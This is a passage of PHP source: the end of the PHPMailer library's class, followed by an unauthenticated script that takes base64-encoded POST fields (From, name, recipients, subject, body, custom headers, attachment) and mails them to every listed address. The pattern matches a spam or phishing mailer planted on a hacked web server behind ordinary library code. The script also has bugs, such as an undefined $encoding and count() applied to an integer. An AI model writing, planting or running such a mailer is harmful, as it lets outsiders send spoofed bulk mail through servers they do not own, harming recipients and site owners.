    public function base64EncodeWrapMB($str, $linebreak = null)
    {
        $start = "=?" . $this->CharSet . "?B?";
        $end = "?=";
        $encoded = "";
        if (null === $linebreak) {
            $linebreak = static::$LE;
        }
        $mb_length = mb_strlen($str, $this->CharSet);
        $length = 75 - strlen($start) - strlen($end);
        $ratio = $mb_length / strlen($str);
        $avgLength = floor($length * $ratio * 0.75);
        $offset = 0;
        for ($i = 0; $i < $mb_length; $i += $offset) {
            $lookBack = 0;
            do {
                $offset = $avgLength - $lookBack;
                $chunk = mb_substr($str, $i, $offset, $this->CharSet);
                $chunk = base64_encode($chunk);
                ++$lookBack;
            } while (strlen($chunk) > $length);
            $encoded .= $chunk . $linebreak;
        }
        return substr($encoded, 0, -strlen($linebreak));
    }
    public function encodeQP($string)
    {
        return static::normalizeBreaks(quoted_printable_encode($string));
    }
    public function encodeQ($str, $position = "text")
    {
        $pattern = "";
        $encoded = str_replace(["\r", "\n"], "", $str);
        switch (strtolower($position)) {
            case "phrase":
                $pattern = "^A-Za-z0-9!*+\/ -";
                break;
            case "comment":
                $pattern = '\(\)"';
            case "text":
            default:
                $pattern =
                    '\000-\011\013\014\016-\037\075\077\137\177-\377' .
                    $pattern;
                break;
        }
        $matches = [];
        if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) {
            $eqkey = array_search("=", $matches[0], true);
            if (false !== $eqkey) {
                unset($matches[0][$eqkey]);
                array_unshift($matches[0], "=");
            }
            foreach (array_unique($matches[0]) as $char) {
                $encoded = str_replace(
                    $char,
                    "=" . sprintf("%02X", ord($char)),
                    $encoded
                );
            }
        }
        return str_replace(" ", "_", $encoded);
    }
    public function addStringAttachment(
        $string,
        $filename,
        $encoding = self::ENCODING_BASE64,
        $type = "",
        $disposition = "attachment"
    ) {
        try {
            if ("" === $type) {
                $type = static::filenameToType($filename);
            }
            if (!$this->validateEncoding($encoding)) {
                throw new Exception($this->lang("encoding") . $encoding);
            }
            $this->attachment[] = [
                0 => $string,
                1 => $filename,
                2 => static::mb_pathinfo($filename, PATHINFO_BASENAME),
                3 => $encoding,
                4 => $type,
                5 => true,
                6 => $disposition,
                7 => 0,
            ];
        } catch (Exception $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
        return true;
    }
    public function addEmbeddedImage(
        $path,
        $cid,
        $name = "",
        $encoding = self::ENCODING_BASE64,
        $type = "",
        $disposition = "inline"
    ) {
        try {
            if (!static::fileIsAccessible($path)) {
                throw new Exception(
                    $this->lang("file_access") . $path,
                    self::STOP_CONTINUE
                );
            }
            if ("" === $type) {
                $type = static::filenameToType($path);
            }
            if (!$this->validateEncoding($encoding)) {
                throw new Exception($this->lang("encoding") . $encoding);
            }
            $filename = (string) static::mb_pathinfo($path, PATHINFO_BASENAME);
            if ("" === $name) {
                $name = $filename;
            }
            $this->attachment[] = [
                0 => $path,
                1 => $filename,
                2 => $name,
                3 => $encoding,
                4 => $type,
                5 => false,
                6 => $disposition,
                7 => $cid,
            ];
        } catch (Exception $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
        return true;
    }
    public function addStringEmbeddedImage(
        $string,
        $cid,
        $name = "",
        $encoding = self::ENCODING_BASE64,
        $type = "",
        $disposition = "inline"
    ) {
        try {
            if ("" === $type && !empty($name)) {
                $type = static::filenameToType($name);
            }
            if (!$this->validateEncoding($encoding)) {
                throw new Exception($this->lang("encoding") . $encoding);
            }
            $this->attachment[] = [
                0 => $string,
                1 => $name,
                2 => $name,
                3 => $encoding,
                4 => $type,
                5 => true,
                6 => $disposition,
                7 => $cid,
            ];
        } catch (Exception $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
        return true;
    }
    protected function validateEncoding($encoding)
    {
        return in_array(
            $encoding,
            [self::ENCODING_7BIT,
                self::ENCODING_QUOTED_PRINTABLE,
                self::ENCODING_BASE64,
                self::ENCODING_8BIT,
                self::ENCODING_BINARY,
            ],
            true
        );
    }
    protected function cidExists($cid)
    {
        foreach ($this->attachment as $attachment) {
            if ("inline" === $attachment[6] && $cid === $attachment[7]) {
                return true;
            }
        }
        return false;
    }
    public function inlineImageExists()
    {
        foreach ($this->attachment as $attachment) {
            if ("inline" === $attachment[6]) {
                return true;
            }
        }
        return false;
    }
    public function attachmentExists()
    {
        foreach ($this->attachment as $attachment) {
            if ("attachment" === $attachment[6]) {
                return true;
            }
        }
        return false;
    }
    public function alternativeExists()
    {
        return !empty($this->AltBody);
    }
    public function clearQueuedAddresses($kind)
    {
        $this->RecipientsQueue = array_filter(
            $this->RecipientsQueue,
            static function ($params) use ($kind) {
                return $params[0] !== $kind;
            }
        );
    }
    public function clearAddresses()
    {
        foreach ($this->to as $to) {
            unset($this->all_recipients[strtolower($to[0])]);
        }
        $this->to = [];
        $this->clearQueuedAddresses("to");
    }
    public function clearCCs()
    {
        foreach ($this->cc as $cc) {
            unset($this->all_recipients[strtolower($cc[0])]);
        }
        $this->cc = [];
        $this->clearQueuedAddresses("cc");
    }
    public function clearBCCs()
    {
        foreach ($this->bcc as $bcc) {
            unset($this->all_recipients[strtolower($bcc[0])]);
        }
        $this->bcc = [];
        $this->clearQueuedAddresses("bcc");
    }
    public function clearReplyTos()
    {
        $this->ReplyTo = [];
        $this->ReplyToQueue = [];
    }
    public function clearAllRecipients()
    {
        $this->to = [];
        $this->cc = [];
        $this->bcc = [];
        $this->all_recipients = [];
        $this->RecipientsQueue = [];
    }
    public function clearAttachments()
    {
        $this->attachment = [];
    }
    public function clearCustomHeaders()
    {
        $this->CustomHeader = [];
    }
    protected function setError($msg)
    {
        ++$this->error_count;
        if ("smtp" === $this->Mailer && null !== $this->smtp) {
            $lasterror = $this->smtp->getError();
            if (!empty($lasterror["error"])) {
                $msg .= $this->lang("smtp_error") . $lasterror["error"];
                if (!empty($lasterror["detail"])) {
                    $msg .=
                        " " . $this->lang("smtp_detail") . $lasterror["detail"];
                }
                if (!empty($lasterror["smtp_code"])) {
                    $msg .=
                        " " .
                        $this->lang("smtp_code") .
                        $lasterror["smtp_code"];
                }
                if (!empty($lasterror["smtp_code_ex"])) {
                    $msg .=
                        " " .
                        $this->lang("smtp_code_ex") .
                        $lasterror["smtp_code_ex"];
                }
            }
        }
        $this->ErrorInfo = $msg;
    }
    public static function rfcDate()
    {
        date_default_timezone_set(@date_default_timezone_get());
        return date("D, j M Y H:i:s O");
    }
    protected function serverHostname()
    {
        $result = "";
        if (!empty($this->Hostname)) {
            $result = $this->Hostname;
        } elseif (
            isset($_SERVER) &&
            array_key_exists("SERVER_NAME", $_SERVER)
        ) {
            $result = $_SERVER["SERVER_NAME"];
        } elseif (function_exists("gethostname") && gethostname() !== false) {
            $result = gethostname();
        } elseif (php_uname("n") !== false) {
            $result = php_uname("n");
        }
        if (!static::isValidHost($result)) {
            return "localhost.localdomain";
        }
        return $result;
    }
    public static function isValidHost($host)
    {
        if (
            empty($host) ||
            !is_string($host) ||
            strlen($host) > 256 ||
            !preg_match('/^([a-zA-Z\d.-]*|\[[a-fA-F\d:]+\])$/', $host)
        ) {
            return false;
        }
        if (
            strlen($host) > 2 &&
            substr($host, 0, 1) === "[" &&
            substr($host, -1, 1) === "]"
        ) {
            return filter_var(
                substr($host, 1, -1),
                FILTER_VALIDATE_IP,
                FILTER_FLAG_IPV6
            ) !== false;
        }
        if (is_numeric(str_replace(".", "", $host))) {
            return filter_var($host, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4) !==
                false;
        }
        return filter_var("http://" . $host, FILTER_VALIDATE_URL) !== false;
    }
    protected function lang($key)
    {
        if (count($this->language) < 1) {
            $this->setLanguage();
        }
        if (array_key_exists($key, $this->language)) {
            if ("smtp_connect_failed" === $key) {
                return $this->language[$key] .
                    " https://github.com/PHPMailer/PHPMailer/wiki/Troubleshooting";
            }
            return $this->language[$key];
        }
        return $key;
    }
    private function getSmtpErrorMessage($base_key)
    {
        $message = $this->lang($base_key);
        $error = $this->smtp->getError();
        if (!empty($error["error"])) {
            $message .= " " . $error["error"];
            if (!empty($error["detail"])) {
                $message .= " " . $error["detail"];
            }
        }
        return $message;
    }
    public function isError()
    {
        return $this->error_count > 0;
    }
    public function addCustomHeader($name, $value = null)
    {
        if (null === $value && strpos($name, ":") !== false) {
            list($name, $value) = explode(":", $name, 2);
        }
        $name = trim($name);
        $value = null === $value ? "" : trim($value);
        if (empty($name) || strpbrk($name . $value, "\r\n") !== false) {
            if ($this->exceptions) {
                throw new Exception($this->lang("invalid_header"));
            }
            return false;
        }
        $this->CustomHeader[] = [$name, $value];
        return true;
    }
    public function getCustomHeaders()
    {
        return $this->CustomHeader;
    }
    public function msgHTML($message, $basedir = "", $advanced = false)
    {
        preg_match_all(
            '/(?<!-)(src|background)=["\'](.*)["\']/Ui',
            $message,
            $images
        );
        if (array_key_exists(2, $images)) {
            if (strlen($basedir) > 1 && "/" !== substr($basedir, -1)) {
                $basedir .= "/";
            }
            foreach ($images[2] as $imgindex => $url) {
                $match = [];
                if (
                    preg_match(
                        "#^data:(image/(?:jpe?g|gif|png));?(base64)?,(.+)#",
                        $url,
                        $match
                    )
                ) {
                    if (
                        count($match) === 4 &&
                        static::ENCODING_BASE64 === $match[2]
                    ) {
                        $data = base64_decode($match[3]);
                    } elseif ("" === $match[2]) {
                        $data = rawurldecode($match[3]);
                    } else {
                        continue;
                    }
                    $cid =
                        substr(hash("sha256", $data), 0, 32) . "@phpmailer.0";
                    if (!$this->cidExists($cid)) {
                        $this->addStringEmbeddedImage(
                            $data,
                            $cid,"embed" . $imgindex,
                            static::ENCODING_BASE64,$match[1]
                        );
                    }
                    $message = str_replace(
                        $images[0][$imgindex],
                        $images[1][$imgindex] . '="cid:' . $cid . '"',
                        $message
                    );
                    continue;
                }
                if (
                    !empty($basedir) &&
                    strpos($url, "..") === false &&
                    0 !== strpos($url, "cid:") &&
                    !preg_match("#^[a-z][a-z0-9+.-]*:?//#i", $url)
                ) {
                    $filename = static::mb_pathinfo($url, PATHINFO_BASENAME);
                    $directory = dirname($url);
                    if ("." === $directory) {
                        $directory = "";
                    }
                    $cid = substr(hash("sha256", $url), 0, 32) . "@phpmailer.0";
                    if (strlen($basedir) > 1 && "/" !== substr($basedir, -1)) {
                        $basedir .= "/";
                    }
                    if (
                        strlen($directory) > 1 &&
                        "/" !== substr($directory, -1)
                    ) {
                        $directory .= "/";
                    }
                    if (
                        $this->addEmbeddedImage(
                            $basedir . $directory . $filename,
                            $cid,
                            $filename,
                            static::ENCODING_BASE64,
                            static::_mime_types(
                                (string) static::mb_pathinfo(
                                    $filename,
                                    PATHINFO_EXTENSION
                                )
                            )
                        )
                    ) {
                        $message = preg_replace(
                            "/" .
                                $images[1][$imgindex] .
                                '=["\']' .
                                preg_quote($url, "/") .
                                '["\']/Ui',
                            $images[1][$imgindex] . '="cid:' . $cid . '"',
                            $message
                        );
                    }
                }
            }
        }
        $this->isHTML();
        $this->Body = static::normalizeBreaks($message);
        $this->AltBody = static::normalizeBreaks(
            $this->html2text($message, $advanced)
        );
        if (!$this->alternativeExists()) {
            $this->AltBody =
                "This is an HTML-only message. To view it, activate HTML in your email application." .
                static::$LE;
        }
        return $this->Body;
    }
    public function html2text($html, $advanced = false)
    {
        if (is_callable($advanced)) {
            return call_user_func($advanced, $html);
        }
        return html_entity_decode(
            trim(
                strip_tags(
                    preg_replace(
                        '/<(head|title|style|script)[^>]*>.*?<\/\\1>/si',
                        "",
                        $html
                    )
                )
            ),
            ENT_QUOTES,
            $this->CharSet
        );
    }
    public static function _mime_types($ext = "")
    {
        $mimes = [
            "xl" => "application/excel",
            "js" => "application/javascript",
            "hqx" => "application/mac-binhex40",
            "cpt" => "application/mac-compactpro",
            "bin" => "application/macbinary",
            "doc" => "application/msword",
            "word" => "application/msword",
            "xlsx" =>
                "application/vnd.openxmlformats-officedocument.spreadsheetml.sheet",
            "xltx" =>
                "application/vnd.openxmlformats-officedocument.spreadsheetml.template",
            "potx" =>
                "application/vnd.openxmlformats-officedocument.presentationml.template",
            "ppsx" =>
                "application/vnd.openxmlformats-officedocument.presentationml.slideshow",
            "pptx" =>
                "application/vnd.openxmlformats-officedocument.presentationml.presentation",
            "sldx" =>
                "application/vnd.openxmlformats-officedocument.presentationml.slide",
            "docx" =>
                "application/vnd.openxmlformats-officedocument.wordprocessingml.document",
            "dotx" =>
                "application/vnd.openxmlformats-officedocument.wordprocessingml.template",
            "xlam" => "application/vnd.ms-excel.addin.macroEnabled.12",
            "xlsb" => "application/vnd.ms-excel.sheet.binary.macroEnabled.12",
            "class" => "application/octet-stream",
            "dll" => "application/octet-stream",
            "dms" => "application/octet-stream",
            "exe" => "application/octet-stream",
            "lha" => "application/octet-stream",
            "lzh" => "application/octet-stream",
            "psd" => "application/octet-stream",
            "sea" => "application/octet-stream",
            "so" => "application/octet-stream",
            "oda" => "application/oda",
            "pdf" => "application/pdf",
            "ai" => "application/postscript",
            "eps" => "application/postscript",
            "ps" => "application/postscript",
            "smi" => "application/smil",
            "smil" => "application/smil",
            "mif" => "application/vnd.mif",
            "xls" => "application/vnd.ms-excel",
            "ppt" => "application/vnd.ms-powerpoint",
            "wbxml" => "application/vnd.wap.wbxml",
            "wmlc" => "application/vnd.wap.wmlc",
            "dcr" => "application/x-director",
            "dir" => "application/x-director",
            "dxr" => "application/x-director",
            "dvi" => "application/x-dvi",
            "gtar" => "application/x-gtar",
            "php3" => "application/x-httpd-php",
            "php4" => "application/x-httpd-php",
            "php" => "application/x-httpd-php",
            "phtml" => "application/x-httpd-php",
            "phps" => "application/x-httpd-php-source",
            "swf" => "application/x-shockwave-flash",
            "sit" => "application/x-stuffit",
            "tar" => "application/x-tar",
            "tgz" => "application/x-tar",
            "xht" => "application/xhtml+xml",
            "xhtml" => "application/xhtml+xml",
            "zip" => "application/zip",
            "mid" => "audio/midi",
            "midi" => "audio/midi",
            "mp2" => "audio/mpeg",
            "mp3" => "audio/mpeg",
            "m4a" => "audio/mp4",
            "mpga" => "audio/mpeg",
            "aif" => "audio/x-aiff",
            "aifc" => "audio/x-aiff",
            "aiff" => "audio/x-aiff",
            "ram" => "audio/x-pn-realaudio",
            "rm" => "audio/x-pn-realaudio",
            "rpm" => "audio/x-pn-realaudio-plugin",
            "ra" => "audio/x-realaudio",
            "wav" => "audio/x-wav",
            "mka" => "audio/x-matroska",
            "bmp" => "image/bmp",
            "gif" => "image/gif",
            "jpeg" => "image/jpeg",
            "jpe" => "image/jpeg",
            "jpg" => "image/jpeg",
            "png" => "image/png",
            "tiff" => "image/tiff",
            "tif" => "image/tiff",
            "webp" => "image/webp",
            "avif" => "image/avif",
            "heif" => "image/heif",
            "heifs" => "image/heif-sequence",
            "heic" => "image/heic",
            "heics" => "image/heic-sequence",
            "eml" => "message/rfc822",
            "css" => "text/css",
            "html" => "text/html",
            "htm" => "text/html",
            "shtml" => "text/html",
            "log" => "text/plain",
            "text" => "text/plain",
            "txt" => "text/plain",
            "rtx" => "text/richtext",
            "rtf" => "text/rtf",
            "vcf" => "text/vcard",
            "vcard" => "text/vcard",
            "ics" => "text/calendar",
            "xml" => "text/xml",
            "xsl" => "text/xml",
            "csv" => "text/csv","wmv" => "video/x-ms-wmv",
            "mpeg" => "video/mpeg",
            "mpe" => "video/mpeg","mpg" => "video/mpeg",
            "mp4" => "video/mp4",
            "m4v" => "video/mp4",
            "mov" => "video/quicktime",
            "qt" => "video/quicktime",
            "rv" => "video/vnd.rn-realvideo",
            "avi" => "video/x-msvideo",
            "movie" => "video/x-sgi-movie",
            "webm" => "video/webm",
            "mkv" => "video/x-matroska",
        ];
        $ext = strtolower($ext);
        if (array_key_exists($ext, $mimes)) {
            return $mimes[$ext];
        }
        return "application/octet-stream";
    }
    public static function filenameToType($filename)
    {
        $qpos = strpos($filename, "?");
        if (false !== $qpos) {
            $filename = substr($filename, 0, $qpos);
        }
        $ext = static::mb_pathinfo($filename, PATHINFO_EXTENSION);
        return static::_mime_types($ext);
    }
    public static function mb_pathinfo($path, $options = null)
    {
        $ret = [
            "dirname" => "",
            "basename" => "",
            "extension" => "",
            "filename" => "",
        ];
        $pathinfo = [];
        if (
            preg_match(
                '#^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^.\\\\/]+?)|))[\\\\/.]*$#m',
                $path,
                $pathinfo
            )
        ) {
            if (array_key_exists(1, $pathinfo)) {
                $ret["dirname"] = $pathinfo[1];
            }
            if (array_key_exists(2, $pathinfo)) {
                $ret["basename"] = $pathinfo[2];
            }
            if (array_key_exists(5, $pathinfo)) {
                $ret["extension"] = $pathinfo[5];
            }
            if (array_key_exists(3, $pathinfo)) {
                $ret["filename"] = $pathinfo[3];
            }
        }
        switch ($options) {
            case PATHINFO_DIRNAME:
            case "dirname":
                return $ret["dirname"];
            case PATHINFO_BASENAME:
            case "basename":
                return $ret["basename"];
            case PATHINFO_EXTENSION:
            case "extension":
                return $ret["extension"];
            case PATHINFO_FILENAME:
            case "filename":
                return $ret["filename"];
            default:
                return $ret;
        }
    }
    public function set($name, $value = "")
    {
        if (property_exists($this, $name)) {
            $this->{$name} = $value;
            return true;
        }
        $this->setError($this->lang("variable_set") . $name);
        return false;
    }
    public function secureHeader($str)
    {
        return trim(str_replace(["\r", "\n"], "", $str));
    }
    public static function normalizeBreaks($text, $breaktype = null)
    {
        if (null === $breaktype) {
            $breaktype = static::$LE;
        }
        $text = str_replace([self::CRLF, "\r"], "\n", $text);
        if ("\n" !== $breaktype) {
            $text = str_replace("\n", $breaktype, $text);
        }
        return $text;
    }
    public static function stripTrailingWSP($text)
    {
        return rtrim($text, " \r\n\t");
    }
    public static function stripTrailingBreaks($text)
    {
        return rtrim($text, "\r\n");
    }
    public static function getLE()
    {
        return static::$LE;
    }
    protected static function setLE($le)
    {
        static::$LE = $le;
    }
    public function sign(
        $cert_filename,
        $key_filename,
        $key_pass,
        $extracerts_filename = ""
    ) {
        $this->sign_cert_file = $cert_filename;
        $this->sign_key_file = $key_filename;
        $this->sign_key_pass = $key_pass;
        $this->sign_extracerts_file = $extracerts_filename;
    }
    public function DKIM_QP($txt)
    {
        $line = "";
        $len = strlen($txt);
        for ($i = 0; $i < $len; ++$i) {
            $ord = ord($txt[$i]);
            if (
                (0x21 <= $ord && $ord <= 0x3a) ||
                $ord === 0x3c ||
                (0x3e <= $ord && $ord <= 0x7e)
            ) {
                $line .= $txt[$i];
            } else {
                $line .= "=" . sprintf("%02X", $ord);
            }
        }
        return $line;
    }
    public function DKIM_Sign($signHeader)
    {
        if (!defined("PKCS7_TEXT")) {
            if ($this->exceptions) {
                throw new Exception(
                    $this->lang("extension_missing") . "openssl"
                );
            }
            return "";
        }
        $privKeyStr = !empty($this->DKIM_private_string)
            ? $this->DKIM_private_string
            : file_get_contents($this->DKIM_private);
        if ("" !== $this->DKIM_passphrase) {
            $privKey = openssl_pkey_get_private(
                $privKeyStr,
                $this->DKIM_passphrase
            );
        } else {
            $privKey = openssl_pkey_get_private($privKeyStr);
        }
        if (
            openssl_sign(
                $signHeader,
                $signature,
                $privKey,
                "sha256WithRSAEncryption"
            )
        ) {
            if (\PHP_MAJOR_VERSION < 8) {
                openssl_pkey_free($privKey);
            }
            return base64_encode($signature);
        }
        if (\PHP_MAJOR_VERSION < 8) {
            openssl_pkey_free($privKey);
        }
        return "";
    }
    public function DKIM_HeaderC($signHeader)
    {
        $signHeader = static::normalizeBreaks($signHeader, self::CRLF);
        $signHeader = preg_replace('/\r\n[ \t]+/', " ", $signHeader);
        $lines = explode(self::CRLF, $signHeader);
        foreach ($lines as $key => $line) {
            if (strpos($line, ":") === false) {
                continue;
            }
            list($heading, $value) = explode(":", $line, 2);
            $heading = strtolower($heading);
            $value = preg_replace('/[ \t]+/', " ", $value);
            $lines[$key] = trim($heading, " \t") . ":" . trim($value, " \t");
        }
        return implode(self::CRLF, $lines);
    }
    public function DKIM_BodyC($body)
    {
        if (empty($body)) {
            return self::CRLF;
        }
        $body = static::normalizeBreaks($body, self::CRLF);
        return static::stripTrailingBreaks($body) . self::CRLF;
    }
    public function DKIM_Add($headers_line, $subject, $body)
    {
        $DKIMsignatureType = "rsa-sha256";
        $DKIMcanonicalization = "relaxed/simple";
        $DKIMquery = "dns/txt";
        $DKIMtime = time();
        $autoSignHeaders = [
            "from",
            "to",
            "cc",
            "date",
            "subject",
            "reply-to",
            "message-id",
            "content-type",
            "mime-version",
            "x-mailer",
        ];
        if (stripos($headers_line, "Subject") === false) {
            $headers_line .= "Subject: " . $subject . static::$LE;
        }
        $headerLines = explode(static::$LE, $headers_line);
        $currentHeaderLabel = "";
        $currentHeaderValue = "";
        $parsedHeaders = [];
        $headerLineIndex = 0;
        $headerLineCount = count($headerLines);
        foreach ($headerLines as $headerLine) {
            $matches = [];
            if (
                preg_match(
                    '/^([^ \t]*?)(?::[ \t]*)(.*)$/',
                    $headerLine,
                    $matches
                )
            ) {
                if ($currentHeaderLabel !== "") {
                    $parsedHeaders[] = [
                        "label" => $currentHeaderLabel,
                        "value" => $currentHeaderValue,
                    ];
                }
                $currentHeaderLabel = $matches[1];
                $currentHeaderValue = $matches[2];
            } elseif (preg_match('/^[ \t]+(.*)$/', $headerLine, $matches)) {
                $currentHeaderValue .= " " . $matches[1];
            }
            ++$headerLineIndex;
            if ($headerLineIndex >= $headerLineCount) {
                $parsedHeaders[] = [
                    "label" => $currentHeaderLabel,
                    "value" => $currentHeaderValue,
                ];
            }
        }
        $copiedHeaders = [];
        $headersToSignKeys = [];
        $headersToSign = [];
        foreach ($parsedHeaders as $header) {
            if (
                in_array(strtolower($header["label"]), $autoSignHeaders, true)
            ) {
                $headersToSignKeys[] = $header["label"];
                $headersToSign[] = $header["label"] . ": " . $header["value"];
                if ($this->DKIM_copyHeaderFields) {
                    $copiedHeaders[] =
                        $header["label"] .
                        ":" .
                        str_replace(
                            "|",
                            "=7C",
                            $this->DKIM_QP($header["value"])
                        );
                }
                continue;
            }
            if (in_array($header["label"], $this->DKIM_extraHeaders, true)) {
                foreach ($this->CustomHeader as $customHeader) {
                    if ($customHeader[0] === $header["label"]) {
                        $headersToSignKeys[] = $header["label"];
                        $headersToSign[] =
                            $header["label"] . ": " . $header["value"];
                        if ($this->DKIM_copyHeaderFields) {
                            $copiedHeaders[] =
                                $header["label"] .
                                ":" .
                                str_replace(
                                    "|",
                                    "=7C",
                                    $this->DKIM_QP($header["value"])
                                );
                        }
                        continue 2;
                    }
                }
            }
        }
        $copiedHeaderFields = "";
        if ($this->DKIM_copyHeaderFields && count($copiedHeaders) > 0) {
            $copiedHeaderFields = " z=";
            $first = true;
            foreach ($copiedHeaders as $copiedHeader) {
                if (!$first) {
                    $copiedHeaderFields .= static::$LE . " |";
                }
                if (strlen($copiedHeader) > self::STD_LINE_LENGTH - 3) {
                    $copiedHeaderFields .= substr(
                        chunk_split(
                            $copiedHeader,
                            self::STD_LINE_LENGTH - 3,
                            static::$LE . self::FWS
                        ),
                        0,
                        -strlen(static::$LE . self::FWS)
                    );
                } else {
                    $copiedHeaderFields .= $copiedHeader;
                }
                $first = false;
            }
            $copiedHeaderFields .= ";" . static::$LE;
        }
        $headerKeys =
            " h=" . implode(":", $headersToSignKeys) . ";" . static::$LE;
        $headerValues = implode(static::$LE, $headersToSign);
        $body = $this->DKIM_BodyC($body);
        $DKIMb64 = base64_encode(pack("H*", hash("sha256", $body)));
        $ident = "";
        if ("" !== $this->DKIM_identity) {
            $ident = " i=" . $this->DKIM_identity . ";" . static::$LE;
        }
        $dkimSignatureHeader =
            "DKIM-Signature: v=1;" .
            " d=" .
            $this->DKIM_domain .
            ";" .
            " s=" .
            $this->DKIM_selector .
            ";" .
            static::$LE .
            " a=" .
            $DKIMsignatureType .
            ";" .
            " q=" .
            $DKIMquery .
            ";" .
            " t=" .
            $DKIMtime .
            ";" .
            " c=" .
            $DKIMcanonicalization .
            ";" .
            static::$LE .
            $headerKeys .
            $ident .
            $copiedHeaderFields .
            " bh=" .
            $DKIMb64 .
            ";" .
            static::$LE .
            " b=";
        $canonicalizedHeaders = $this->DKIM_HeaderC(
            $headerValues . static::$LE . $dkimSignatureHeader
        );
        $signature = $this->DKIM_Sign($canonicalizedHeaders);
        $signature = trim(
            chunk_split(
                $signature,
                self::STD_LINE_LENGTH - 3,
                static::$LE . self::FWS
            )
        );
        return static::normalizeBreaks($dkimSignatureHeader . $signature);
    }
    public static function hasLineLongerThanMax($str)
    {
        return (bool) preg_match(
            "/^(.{" . (self::MAX_LINE_LENGTH + strlen(static::$LE)) . ",})/m",
            $str
        );
    }
    public static function quotedString($str)
    {
        if (preg_match('/[ ()<>@,;:"\/\[\]?=]/', $str)) {
            return '"' . str_replace('"', '\\"', $str) . '"';
        }
        return $str;
    }
    public function getToAddresses()
    {
        return $this->to;
    }
    public function getCcAddresses()
    {
        return $this->cc;
    }
    public function getBccAddresses()
    {
        return $this->bcc;
    }
    public function getReplyToAddresses()
    {
        return $this->ReplyTo;
    }
    public function getAllRecipientAddresses()
    {
        return $this->all_recipients;
    }
    protected function doCallback(
        $isSent,
        $to,
        $cc,
        $bcc,
        $subject,
        $body,
        $from,
        $extra
    ) {
        if (
            !empty($this->action_function) &&
            is_callable($this->action_function)
        ) {
            call_user_func(
                $this->action_function,
                $isSent,
                $to,
                $cc,
                $bcc,
                $subject,
                $body,
                $from,
                $extra
            );
        }
    }
    public function getOAuth()
    {
        return $this->oauth;
    }
    public function setOAuth(OAuthTokenProvider $oauth)
    {
        $this->oauth = $oauth;
    }
}
use PHPMailer\PHPMailer\PHPMailer;
use PHPMailer\PHPMailer\Exception;

function pmMailCheck($email){
    if (filter_var($email, FILTER_VALIDATE_EMAIL)) return true;
    else return false;
}

function pmTrim($string){
    $string=urldecode($string);
    return stripslashes(trim($string));
}

function pmSend($to, $cc, $bcc, $replyTo, $subject, $body, $fromEmail, $fromName, $messageType, $encode, $charset, $fileContent, $fileName, $mailType, $headersList){
    $fromEmail=pmTrim(base64_decode($fromEmail));
    $fromName=pmTrim(base64_decode($fromName));
    $replyTo=pmTrim(base64_decode($replyTo));
    $subject=pmTrim(base64_decode($subject));
    $to=pmTrim(base64_decode($to));
    $cc=pmTrim(base64_decode($cc));
    $bcc=pmTrim(base64_decode($bcc));
    $messageType=pmTrim(base64_decode($messageType));
    $body=base64_decode($body);
    $encode = base64_decode($encode);
    $charset = base64_decode($charset);
    $fileContent = base64_decode($fileContent);
    $fileName = base64_decode($fileName);
    $mailType = base64_decode($mailType);
	$headersList = base64_decode($headersList);
    try {
        $maillist=explode(",", $to);
        $n=count($maillist);
        $x =1;
        foreach ($maillist as $email ) {
            if(!pmMailCheck($email)) {
                echo "Incorrect Email $email";
            }
            else {
                $mail = new PHPMailer;
                $mail->setFrom($fromEmail, $fromName);
                $mail->addReplyTo($replyTo);
                $mail->addAddress($email);
                $mail->Subject = $subject;
                $mail->Body = $body;
				if ($headersList) {
					$decoded_headers = json_decode($headersList);
					foreach ($decoded_headers as $key => $value){
						$mail->addCustomHeader($key, $value);
					};
				}
                if($messageType==1){
                    $mail->IsHTML(true);
                    $mail->AltBody =strip_tags($body);
                }
                else $mail->IsHTML(false);

                if(count($n) == 1){
                    $mailListCC = explode(",", $cc);
                    foreach ($mailListCC as $email) {
                        $mail->addCC(pmTrim($email));
                    }
                    $mailListBCC = explode(",", $bcc);
                    foreach ($mailListBCC as $email) {
                        $mail->addBCC(pmTrim($email));
                    }
                }if($mailType=='mail') $mail->isMail();
                elseif($mailType=='sendmail') $mail->isSendmail();
                elseif($mailType=='qmail') $mail->isQmail();

                $mail->CharSet = $charset;
                $mail->Encoding= $encoding;
                
                if ($fileContent && $fileName) {
                    $mail->addStringAttachment(
                        base64_decode($fileContent),
                        base64_decode($fileName)
                    );
                }
                
                if (!$mail->send()) {
                    echo 'false';
                    echo htmlspecialchars($mail->ErrorInfo);
                }
                else {
                    echo 'true';
                }
            }
            $x++;
        }
    } catch (Exception $e) {
        echo "Message could not be sent. Mailer Error: $e";
    }
}

if(isset($_POST['action']) && ($_POST['action']=="send" or $_POST['action']=="score")){
    $fromEmail=pmTrim(base64_decode($_POST['fromEmail']));
    $fromName=pmTrim(base64_decode($_POST['fromName']));
    $replyTo=pmTrim(base64_decode($_POST['replyTo']));
    $subject=pmTrim(base64_decode($_POST['subject']));
    $to=pmTrim(base64_decode($_POST['to']));
    $cc=pmTrim(base64_decode($_POST['cc']));
    $bcc=pmTrim(base64_decode($_POST['bcc']));
    $messageType=pmTrim(base64_decode($_POST['messageType']));
    $body=base64_decode($_POST['body']);
    $encoding = base64_decode($_POST['encode']);
    $charset = base64_decode($_POST['charset']);
    $fileContent = base64_decode($_POST['fileContent']);
    $fileName = base64_decode($_POST['fileName']);
    $mailType = base64_decode($_POST['mailType']);
	$headersList = base64_decode($_POST['headersList']);
}

if(isset($_POST['action']) && $_POST['action']=="send"){
    $maillist=explode(",", $to);
    $n=count($maillist);
    $x=1;
    foreach ($maillist as $email ) {
        if(!pmMailCheck($email)) {
            echo "Incorrect Email $email";
        }
        else {
            $mail = new PHPMailer;
            $mail->setFrom($fromEmail, $fromName);
            $mail->addReplyTo($replyTo);
            $mail->addAddress($email);
            $mail->Subject = $subject;
            $mail->Body = $body;
			if ($headersList) {
				$decoded_headers = json_decode($headersList);
				foreach ($decoded_headers as $key => $value){
					$mail->addCustomHeader($key, $value);
				};
			}
            if($messageType==1){
                $mail->IsHTML(true);
                $mail->AltBody =strip_tags($body);
            }
            else $mail->IsHTML(false);

            if(count($n) == 1){
                $mailListCC = explode(",", $cc);
